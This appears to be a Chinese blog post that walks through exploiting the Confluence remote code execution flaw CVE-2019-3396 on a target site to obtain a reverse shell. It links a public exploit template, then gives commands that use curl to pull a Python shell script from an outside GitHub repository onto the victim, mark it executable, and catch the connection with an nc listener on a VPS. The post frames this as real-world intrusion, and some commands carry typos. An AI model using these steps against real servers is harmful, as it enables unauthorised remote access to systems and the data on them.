CVE-2019-3396 实战反弹shell

前言
距离4月4日Confluence官方发布远程命令执行高危漏洞的安全更新距今已快一周的时间。在网上也陆续爆出了一系列的POC,但是这些POC仅局限于测试是否存在漏洞,或者就是只是命令执行,并不能进行shell的反弹,如果不能反弹shell,那要这洞有何用。
于是我花了一下午的时间去进行测试,才有了这篇利用该漏洞进行实战反弹shell的文章。
准备
鉴于网上已有一系列的分析文章,这里我也不做漏洞阐述了,相关文章大家都能在网上找到,这里直接进入正题。
由于我对Java不太熟悉,所以我这里直接使用的是别的大佬上传到github上的POC,该POC能执行命令并显示回显,但并不能满足我反弹shell的愿望。
地址为:
https://raw.githubusercontent.com/Yt1g3r/CVE-2019-3396_EXP/master/cmd.vm
实战开始
使用该POC对目标站点进行测试,可以发现已成功执行了命令,知道了该项目路径与用户权限

到这里已经知道能,命令是能成功执行,并且能返回信息,但是这样执行命令是不是太麻烦了呢,于是我思考怎么样才能将shell反弹回来呢。
首先我想到的是,尝试利用echo写文件,既然要写入文件首先要知道哪些目录能够写入。发现有3个目录能够写入。

尝试写入文件发现>重定向被转义了,无法写入文件。

尝试是否能使用weget命令,失败。

到这里我差点放弃了,但是回想到python也能反弹shell,并且linux一般都自带python环境。于是尝试是否能使用python。这里可以看到能运行python。

到这个时候,我们来梳理一下,首先我们知道了那些目录可写可执行,并且现在能运行python。那么就还剩一个问题需要解决了,如何让python顺利执行我们分反弹shell的语句。
如果直接使用python –c ‘反弹shell代码’。但是这样的话引号会出现问题。并不能成功执行。
那么就换个思路,虽然我们无法使用echo写文件,并且也不能使用weget下载文件。但是我们还有curl命令没试过。先尝试是否能使用该命令。可以发现完全没问题。

可能有小伙伴会问,curl有什么用,其实curl也是能够保存文件的。curl相关的介绍大家可自行百度。
我这里就直接进行操作了,首先在我的github库中,上传编辑好的python脚本。

然后使用
curl –o temp/nc,py
https://raw.githubusercontent.com/HoldOnToYourHeart/nc/master/nc.py进行下载。

可以看到已经下载成功了。

不用想都知道上传后肯定没执行权限,那么我们就使用 chmod a+x temp/nc.py 赋予其执行权限。可以看到已经有执行权限了。

这个时候就需要我们在VPS上开启NC监听了。
nc –lvvp 18080

然后运行保存到目标机的python脚本

回到VPS上可以看到shell已成功反弹,并且可执行命令,后续则涉及提权之类的操作,我就不做操作了。

总结
其实可以看到上面的的步骤都是很基本的操作,在实战渗透中,主要还是需要发散思维不要一条路走死。多去了解各种操作系统的一些骚操作,会对自己有很大的提升!
最后,我这里只演示了python的,大家可以根据收集到的各种系统中的系统选择不同的shell反弹的姿势,这里只做抛砖引玉!

你可能感兴趣的:(技术,CVE-2019-3396,实战反弹shell)